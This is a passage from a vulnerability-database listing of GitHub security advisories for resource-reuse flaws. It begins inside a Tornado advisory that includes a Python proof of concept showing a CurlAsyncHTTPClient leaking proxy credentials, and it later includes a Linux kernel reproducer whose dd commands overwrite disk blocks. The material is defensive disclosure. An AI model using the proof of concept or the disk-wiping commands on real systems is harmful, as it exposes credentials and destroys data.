socket.SO_REUSEADDR, 1)\n        self.sock.bind((\"127.0.0.1\", 0))\n        self.sock.listen(4)\n        self.port = self.sock.getsockname()[1]\n        threading.Thread(target=self._serve, daemon=True).start()\n\n    def _serve(self):\n        while True:\n            try:\n                conn, _ = self.sock.accept()\n            except OSError:\n                return\n            try:\n                data = b\"\"\n                while b\"\\r\\n\\r\\n\" not in data and len(data) \u003c 8192:\n                    chunk = conn.recv(2048)\n                    if not chunk:\n                        break\n                    data += chunk\n                self.captures.append(data)\n                conn.sendall(b\"HTTP/1.1 502 Bad Gateway\\r\\nContent-Length: 0\\r\\n\"\n                             b\"Connection: close\\r\\n\\r\\n\")\n            except Exception:\n                pass\n            finally:\n                conn.close()\n\n    def stop(self):\n        try:\n            self.sock.close()\n        except Exception:\n            pass\n\n\ndef proxy_authz(raw):\n    head = raw.split(b\"\\r\\n\\r\\n\", 1)[0].decode(\"latin1\", \"replace\")\n    for line in head.split(\"\\r\\n\"):\n        if line.lower().startswith(\"proxy-authorization:\"):\n            return line\n    return None\n\n\nasync def main():\n    proxy_a = CapturingProxy()\n    proxy_b = CapturingProxy()\n    try:\n        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n        await client.fetch(HTTPRequest(\n            \"http://target.example/a\",\n            proxy_host=\"127.0.0.1\", proxy_port=proxy_a.port,\n            proxy_username=\"alice\", proxy_password=\"secretA\",\n            request_timeout=5, connect_timeout=5), raise_error=False)\n        await client.fetch(HTTPRequest(\n            \"http://target.example/b\",\n            proxy_host=\"127.0.0.1\", proxy_port=proxy_b.port,\n            request_timeout=5, connect_timeout=5), raise_error=False)\n        await asyncio.sleep(0.2)\n        client.close()\n    finally:\n        proxy_a.stop()\n        proxy_b.stop()\n\n    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None\n    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None\n    expected = \"Basic \" + base64.b64encode(b\"alice:secretA\").decode()\n\n    print(f\"{\u0027request\u0027:\u003c42}{\u0027Proxy-Authorization seen by that proxy\u0027}\")\n    print(f\"{\u0027-\u0027 * 42}{\u0027-\u0027 * 40}\")\n    print(f\"{\u0027A -\u003e proxy A (alice:secretA specified)\u0027:\u003c42}{a or \u0027(none)\u0027}\")\n    print(f\"{\u0027B -\u003e proxy B (NO credentials specified)\u0027:\u003c42}{b or \u0027(none)\u0027}\")\n    print()\n    if b and expected in b:\n        print(f\"VERDICT: VULNERABLE \u2014 proxy B received alice\u0027s credentials \"\n              f\"({expected}) although request B specified no proxy_username.\")\n        return 0\n    print(f\"VERDICT: not reproduced (proxy B saw: {b!r})\")\n    return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(asyncio.run(main()))\n```\n\nOutput (`YWxpY2U6c2VjcmV0QQ==` decodes to `alice:secretA`):\n\n```\nrequest                                   Proxy-Authorization seen by that proxy\n----------------------------------------------------------------------------------\nA -\u003e proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\nB -\u003e proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\n\nVERDICT: VULNERABLE \u2014 proxy B received alice\u0027s credentials (Basic\nYWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.\n```\n\n## Impact\n\n* **Type:** Exposure of credentials to an unintended party (CWE-200), via reuse\n  of a resource whose sensitive state was not cleared (CWE-672).\n* **Actors:** An application that issues requests with differing per-request\n  options on a shared `CurlAsyncHTTPClient` \u2014 for Vector A, mixing per-request\n  `client_cert` requests with non-certificate requests; for Vector B,\n  multiplexing requests across more than one proxy with per-proxy credentials.\n* **Effect:** For Vector A, the client completes the TLS client-authentication\n  handshake \u2014 proving possession of the private key and disclosing the\n  certificate subject and chain \u2014 to a host that was never meant to receive it.\n  For Vector B, proxy basic-auth credentials are transmitted (base64) to a\n  different proxy. If the unintended host/proxy is attacker-controlled or\n  attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable\n  endpoint, or a proxy chosen from user-controlled configuration), the credential\n  is disclosed to the attacker.\n* **Scope:** Only applications using the optional `CurlAsyncHTTPClient` backend\n  with the patterns above are affected. The default `SimpleAsyncHTTPClient` is not\n  affected (and does not support proxies).\n\nProposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` (5.9, medium); attack complexity is\nHigh because exploitation depends on the application using differing per-request\noptions on a shared client and on handle scheduling.\n\n## Mitigation\n\nA single fix closes all instances of this class: call `curl.reset()` at the start\nof `_curl_setup_request` and then re-apply the per-request options, so no state\nfrom a prior request can persist on the reused handle. (Note `curl.reset()` also\nclears `CAINFO`, which the current code intentionally leaves untouched \u2014 see the\ncomment at lines 401-409 \u2014 so that default would need to be re-established after\nthe reset.)\n\nAlternatively, add explicit clearing branches mirroring the existing\n`PROXYUSERPWD`/`USERPWD` handling:\n\n```python\n# client certificate\nif request.client_cert is not None:\n    curl.setopt(pycurl.SSLCERT, request.client_cert)\nelse:\n    curl.unsetopt(pycurl.SSLCERT)\nif request.client_key is not None:\n    curl.setopt(pycurl.SSLKEY, request.client_key)\nelse:\n    curl.unsetopt(pycurl.SSLKEY)\n\n# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)\nif request.proxy_username:\n    ...\n    curl.setopt(pycurl.PROXYUSERPWD, credentials)\nelse:\n    curl.unsetopt(pycurl.PROXYUSERPWD)\n\n# network interface\nif request.network_interface:\n    curl.setopt(pycurl.INTERFACE, request.network_interface)\nelse:\n    curl.unsetopt(pycurl.INTERFACE)\n```\n\nUntil a fix is available, use a separate `CurlAsyncHTTPClient` instance per\ndistinct credential set (per client certificate / per proxy credential), or use\n`SimpleAsyncHTTPClient` where applicable.",
  "id": "GHSA-pw6j-qg29-8w7f",
  "modified": "2026-06-15T20:37:24Z",
  "published": "2026-06-15T20:37:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-pw6j-qg29-8w7f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tornadoweb/tornado"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse"
}

GHSA-PWF7-GCHP-6GF8

Vulnerability from github – Published: 2022-02-10 00:00 – Updated: 2022-03-17 00:05
VLAI
Details

A vulnerability has been identified in SIMATIC Drive Controller family (All versions < V2.9.4), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) (All versions), SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions >= V4.5.0 < V4.5.2), SIMATIC S7-1500 CPU family (incl. related ET200 CPUs and SIPLUS variants) (All versions >= V2.9.2 < V2.9.4), SIMATIC S7-1500 Software Controller (All versions), SIMATIC S7-PLCSIM Advanced (All versions), TIM 1531 IRC (incl. SIPLUS NET variants) (All versions >= V2.2). An unauthenticated attacker could cause a denial-of-service condition in a PLC when sending specially prepared packets over port 102/tcp. A restart of the affected device is needed to restore normal operations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-37185"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-672"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-09T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SIMATIC Drive Controller family (All versions \u003c V2.9.4), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) (All versions), SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions \u003e= V4.5.0 \u003c V4.5.2), SIMATIC S7-1500 CPU family (incl. related ET200 CPUs and SIPLUS variants) (All versions \u003e= V2.9.2 \u003c V2.9.4), SIMATIC S7-1500 Software Controller (All versions), SIMATIC S7-PLCSIM Advanced (All versions), TIM 1531 IRC (incl. SIPLUS NET variants) (All versions \u003e= V2.2). An unauthenticated attacker could cause a denial-of-service condition in a PLC when sending specially prepared packets over port 102/tcp. A restart of the affected device is needed to restore normal operations.",
  "id": "GHSA-pwf7-gchp-6gf8",
  "modified": "2022-03-17T00:05:52Z",
  "published": "2022-02-10T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37185"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-838121.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q6W5-274C-4FJ8

Vulnerability from github – Published: 2025-01-19 12:31 – Updated: 2026-05-12 15:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

dm array: fix releasing a faulty array block twice in dm_array_cursor_end

When dm_bm_read_lock() fails due to locking or checksum errors, it releases the faulty block implicitly while leaving an invalid output pointer behind. The caller of dm_bm_read_lock() should not operate on this invalid dm_block pointer, or it will lead to undefined result. For example, the dm_array_cursor incorrectly caches the invalid pointer on reading a faulty array block, causing a double release in dm_array_cursor_end(), then hitting the BUG_ON in dm-bufio cache_put().

Reproduce steps:

  1. initialize a cache device

dmsetup create cmeta --table "0 8192 linear /dev/sdc 0" dmsetup create cdata --table "0 65536 linear /dev/sdc 8192" dmsetup create corig --table "0 524288 linear /dev/sdc $262144" dd if=/dev/zero of=/dev/mapper/cmeta bs=4k count=1 dmsetup create cache --table "0 524288 cache /dev/mapper/cmeta \ /dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0"

  1. wipe the second array block offline

dmsteup remove cache cmeta cdata corig mapping_root=$(dd if=/dev/sdc bs=1c count=8 skip=192 \ 2>/dev/null | hexdump -e '1/8 "%u\n"') ablock=$(dd if=/dev/sdc bs=1c count=8 skip=$((4096*mapping_root+2056)) \ 2>/dev/null | hexdump -e '1/8 "%u\n"') dd if=/dev/zero of=/dev/sdc bs=4k count=1 seek=$ablock

  1. try reopen the cache device

dmsetup create cmeta --table "0 8192 linear /dev/sdc 0" dmsetup create cdata --table "0 65536 linear /dev/sdc 8192" dmsetup create corig --table "0 524288 linear /dev/sdc $262144" dmsetup create cache --table "0 524288 cache /dev/mapper/cmeta \ /dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0"

Kernel logs:

(snip) device-mapper: array: array_block_check failed: blocknr 0 != wanted 10 device-mapper: block manager: array validator check failed for block 10 device-mapper: array: get_ablock failed device-mapper: cache metadata: dm_array_cursor_next for mapping failed ------------[ cut here ]------------ kernel BUG at drivers/md/dm-bufio.c:638!

Fix by setting the cached block pointer to NULL on errors.

In addition to the reproducer described above, this fix can be verified using the "array_cursor/damaged" test in dm-unit: dm-unit run /pdata/array_cursor/damaged --kernel-dir

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-57929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-672"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-19T12:15:27Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm array: fix releasing a faulty array block twice in dm_array_cursor_end\n\nWhen dm_bm_read_lock() fails due to locking or checksum errors, it\nreleases the faulty block implicitly while leaving an invalid output\npointer behind. The caller of dm_bm_read_lock() should not operate on\nthis invalid dm_block pointer, or it will lead to undefined result.\nFor example, the dm_array_cursor incorrectly caches the invalid pointer\non reading a faulty array block, causing a double release in\ndm_array_cursor_end(), then hitting the BUG_ON in dm-bufio cache_put().\n\nReproduce steps:\n\n1. initialize a cache device\n\ndmsetup create cmeta --table \"0 8192 linear /dev/sdc 0\"\ndmsetup create cdata --table \"0 65536 linear /dev/sdc 8192\"\ndmsetup create corig --table \"0 524288 linear /dev/sdc $262144\"\ndd if=/dev/zero of=/dev/mapper/cmeta bs=4k count=1\ndmsetup create cache --table \"0 524288 cache /dev/mapper/cmeta \\\n/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0\"\n\n2. wipe the second array block offline\n\ndmsteup remove cache cmeta cdata corig\nmapping_root=$(dd if=/dev/sdc bs=1c count=8 skip=192 \\\n2\u003e/dev/null | hexdump -e \u00271/8 \"%u\\n\"\u0027)\nablock=$(dd if=/dev/sdc bs=1c count=8 skip=$((4096*mapping_root+2056)) \\\n2\u003e/dev/null | hexdump -e \u00271/8 \"%u\\n\"\u0027)\ndd if=/dev/zero of=/dev/sdc bs=4k count=1 seek=$ablock\n\n3. try reopen the cache device\n\ndmsetup create cmeta --table \"0 8192 linear /dev/sdc 0\"\ndmsetup create cdata --table \"0 65536 linear /dev/sdc 8192\"\ndmsetup create corig --table \"0 524288 linear /dev/sdc $262144\"\ndmsetup create cache --table \"0 524288 cache /dev/mapper/cmeta \\\n/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0\"\n\nKernel logs:\n\n(snip)\ndevice-mapper: array: array_block_check failed: blocknr 0 != wanted 10\ndevice-mapper: block manager: array validator check failed for block 10\ndevice-mapper: array: get_ablock failed\ndevice-mapper: cache metadata: dm_array_cursor_next for mapping failed\n------------[ cut here ]------------\nkernel BUG at drivers/md/dm-bufio.c:638!\n\nFix by setting the cached block pointer to NULL on errors.\n\nIn addition to the reproducer described above, this fix can be\nverified using the \"array_cursor/damaged\" test in dm-unit:\n  dm-unit run /pdata/array_cursor/damaged --kernel-dir \u003cKERNEL_DIR\u003e",
  "id": "GHSA-q6w5-274c-4fj8",
  "modified": "2026-05-12T15:30:44Z",
  "published": "2025-01-19T12:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57929"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/017c4470bff53585370028fec9341247bad358ff"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6002bec5354f86d1a2df21468f68e3ec03ede9da"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/738994872d77e189b2d13c501a1d145e95d98f46"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9c7c03d0e926762adf3a3a0ba86156fb5e19538b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e477021d252c007f0c6d45b5d13d341efed03979"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f2893c0804d86230ffb8f1c8703fdbb18648abc8"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/fc1ef07c3522e257e32702954f265debbcb096a7"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q7V5-HRGW-5GJH

Vulnerability from github – Published: 2025-09-05 18:31 – Updated: 2025-10-17 15:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

io_uring/futex: ensure io_futex_wait() cleans up properly on failure

The io_futex_data is allocated upfront and assigned to the io_kiocb async_data field, but the request isn't marked with REQ_F_ASYNC_DATA at that point. Those two should always go together, as the flag tells io_uring whether the field is valid or not.

Additionally, on failure cleanup, the futex handler frees the data but does not clear ->async_data. Clear the data and the flag in the error path as well.

Thanks to Trend Micro Zero Day Initiative and particularly ReDress for reporting this.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-39698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416",
      "CWE-672"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-05T18:15:46Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/futex: ensure io_futex_wait() cleans up properly on failure\n\nThe io_futex_data is allocated upfront and assigned to the io_kiocb\nasync_data field, but the request isn\u0027t marked with REQ_F_ASYNC_DATA\nat that point. Those two should always go together, as the flag tells\nio_uring whether the field is valid or not.\n\nAdditionally, on failure cleanup, the futex handler frees the data but\ndoes not clear -\u003easync_data. Clear the data and the flag in the error\npath as well.\n\nThanks to Trend Micro Zero Day Initiative and particularly ReDress for\nreporting this.",
  "id": "GHSA-q7v5-hrgw-5gjh",
  "modified": "2025-10-17T15:30:57Z",
  "published": "2025-09-05T18:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39698"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/508c1314b342b78591f51c4b5dadee31a88335df"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d34c04152df517c59979b4bf2a47f491e06d3256"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d9f93172820a53ab42c4b0e5e65291f4f9d00ad2"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-915"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QM38-553V-42W8

Vulnerability from github – Published: 2026-06-05 18:31 – Updated: 2026-06-05 18:31
VLAI
Details

On affected platforms with hardware IPSec support running Arista EOS with certain IPsec features enabled, EOS may exhibit unexpected behavior in specific cases. Physical interface flaps and certain agent restarts can cause IPsec tunnel re-establishment with existing Security Associations, resulting in sequence number mismatches between tunnel endpoints potentially causing unstable communication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-2379"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-672"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-05T18:17:05Z",
    "severity": "HIGH"
  },
  "details": "On affected platforms with hardware IPSec support running Arista EOS with certain IPsec features enabled, EOS may exhibit unexpected behavior in specific cases. Physical interface flaps and certain agent restarts can cause IPsec tunnel re-establishment with existing Security Associations, resulting in sequence number mismatches between tunnel endpoints potentially causing unstable communication.",
  "id": "GHSA-qm38-553v-42w8",
  "modified": "2026-06-05T18:31:40Z",
  "published": "2026-06-05T18:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2379"
    },
    {
      "type": "WEB",
      "url": "https://www.arista.com/en/support/advisories-notices/security-advisory/23419-security-advisory-0134"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-QQPW-WXFV-VFCG

Vulnerability from github – Published: 2022-11-19 00:30 – Updated: 2025-04-29 15:31
VLAI
Details

An issue was discovered in MaraDNS Deadwood through 3.5.0021 that allows variant V1 of unintended domain name resolution. A revoked domain name can still be resolvable for a long time, including expired domains and taken-down malicious domains. The effects of an exploit would be widespread and highly impactful, because the exploitation conforms to de facto DNS specifications and operational practices, and overcomes current mitigation patches for "Ghost" domain names.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-30256"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-672"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-19T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in MaraDNS Deadwood through 3.5.0021 that allows variant V1 of unintended domain name resolution. A revoked domain name can still be resolvable for a long time, including expired domains and taken-down malicious domains. The effects of an exploit would be widespread and highly impactful, because the exploitation conforms to de facto DNS specifications and operational practices, and overcomes current mitigation patches for \"Ghost\" domain names.",
  "id": "GHSA-qqpw-wxfv-vfcg",
  "modified": "2025-04-29T15:31:14Z",
  "published": "2022-11-19T00:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30256"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/06/msg00019.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3VSMLJX25MXGQ6A7UPOGK7VPUVDESPHL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NB7LDZM5AGWC5BHHQHW6CP5OFNBBKFOQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3VSMLJX25MXGQ6A7UPOGK7VPUVDESPHL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NB7LDZM5AGWC5BHHQHW6CP5OFNBBKFOQ"
    },
    {
      "type": "WEB",
      "url": "https://maradns.samiam.org"
    },
    {
      "type": "WEB",
      "url": "https://maradns.samiam.org/security.html#CVE-2022-30256"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5441"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QR2H-7PWM-H393

Vulnerability from github – Published: 2024-09-19 16:08 – Updated: 2024-09-20 14:18
VLAI
Summary
ZITADEL's Service Users Deactivation not Working
Details

Impact

ZITADEL's user account deactivation mechanism did not work correctly with service accounts. Deactivated service accounts retained the ability to request tokens, which could lead to unauthorized access to applications and resources.

Patches

2.x versions are fixed on >= 2.62.1 2.61.x versions are fixed on >= 2.61.1 2.60.x versions are fixed on >= 2.60.2 2.59.x versions are fixed on >= 2.59.3 2.58.x versions are fixed on >= 2.58.5 2.57.x versions are fixed on >= 2.57.5 2.56.x versions are fixed on >= 2.56.6 2.55.x versions are fixed on >= 2.55.8 2.54.x versions are fixed on >= 2.54.10

Workarounds

Instead of deactivating the service account, consider creating new credentials and replacing the old ones wherever they are used. This effectively prevents the deactivated service account from being utilized.

  • Revoke all existing authentication keys associated with the service account
  • Rotate the service account's password

Questions

If you have any questions or comments about this advisory, please email us at

security@zitadel.com

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.62.0"
            },
            {
              "fixed": "2.62.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.61.0"
            },
            {
              "fixed": "2.61.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.60.0"
            },
            {
              "fixed": "2.60.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.59.0"
            },
            {
              "fixed": "2.59.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.58.0"
            },
            {
              "fixed": "2.58.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.57.0"
            },
            {
              "fixed": "2.57.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.56.0"
            },
            {
              "fixed": "2.56.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.55.0"
            },
            {
              "fixed": "2.55.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.54.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47000"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-672"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-19T16:08:01Z",
    "nvd_published_at": "2024-09-20T00:15:03Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nZITADEL\u0027s user account deactivation mechanism did not work correctly with service accounts. Deactivated service accounts retained the ability to request tokens, which could lead to unauthorized access to applications and resources.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.62.1](https://github.com/zitadel/zitadel/releases/tag/v2.62.1)\n2.61.x versions are fixed on \u003e= [2.61.1](https://github.com/zitadel/zitadel/releases/tag/v2.61.1)\n2.60.x versions are fixed on \u003e= [2.60.2](https://github.com/zitadel/zitadel/releases/tag/v2.60.2)\n2.59.x versions are fixed on \u003e= [2.59.3](https://github.com/zitadel/zitadel/releases/tag/v2.59.3)\n2.58.x versions are fixed on \u003e= [2.58.5](https://github.com/zitadel/zitadel/releases/tag/v2.58.5)\n2.57.x versions are fixed on \u003e= [2.57.5](https://github.com/zitadel/zitadel/releases/tag/v2.57.5)\n2.56.x versions are fixed on \u003e= [2.56.6](https://github.com/zitadel/zitadel/releases/tag/v2.56.6)\n2.55.x versions are fixed on \u003e= [2.55.8](https://github.com/zitadel/zitadel/releases/tag/v2.55.8)\n2.54.x versions are fixed on \u003e= [2.54.10](https://github.com/zitadel/zitadel/releases/tag/v2.54.10)\n\n### Workarounds\nInstead of deactivating the service account, consider creating new credentials and replacing the old ones wherever they are used. This effectively prevents the deactivated service account from being utilized.\n\n- Revoke all existing authentication keys associated with the service account\n- Rotate the service account\u0027s password\n\n### Questions\nIf you have any questions or comments about this advisory, please email us at \n\n[security@zitadel.com](mailto:security@zitadel.com)",
  "id": "GHSA-qr2h-7pwm-h393",
  "modified": "2024-09-20T14:18:22Z",
  "published": "2024-09-19T16:08:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-qr2h-7pwm-h393"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47000"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zitadel/zitadel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ZITADEL\u0027s Service Users Deactivation not Working "
}

GHSA-QW7Q-7PGR-V8PH

Vulnerability from github – Published: 2024-05-22 21:30 – Updated: 2024-05-22 21:30
VLAI
Details

IBM App Connect Enterprise 12.0.1.0 through 12.0.12.1 could allow an authenticated user to obtain sensitive user information using an expired access token. IBM X-Force ID: 288175.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-31894"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-324",
      "CWE-672"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-22T20:15:09Z",
    "severity": "MODERATE"
  },
  "details": "IBM App Connect Enterprise 12.0.1.0 through 12.0.12.1 could allow an authenticated user to obtain sensitive user information using an expired access token.  IBM X-Force ID:  288175.",
  "id": "GHSA-qw7q-7pgr-v8ph",
  "modified": "2024-05-22T21:30:35Z",
  "published": "2024-05-22T21:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31894"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/288175"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7154606"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.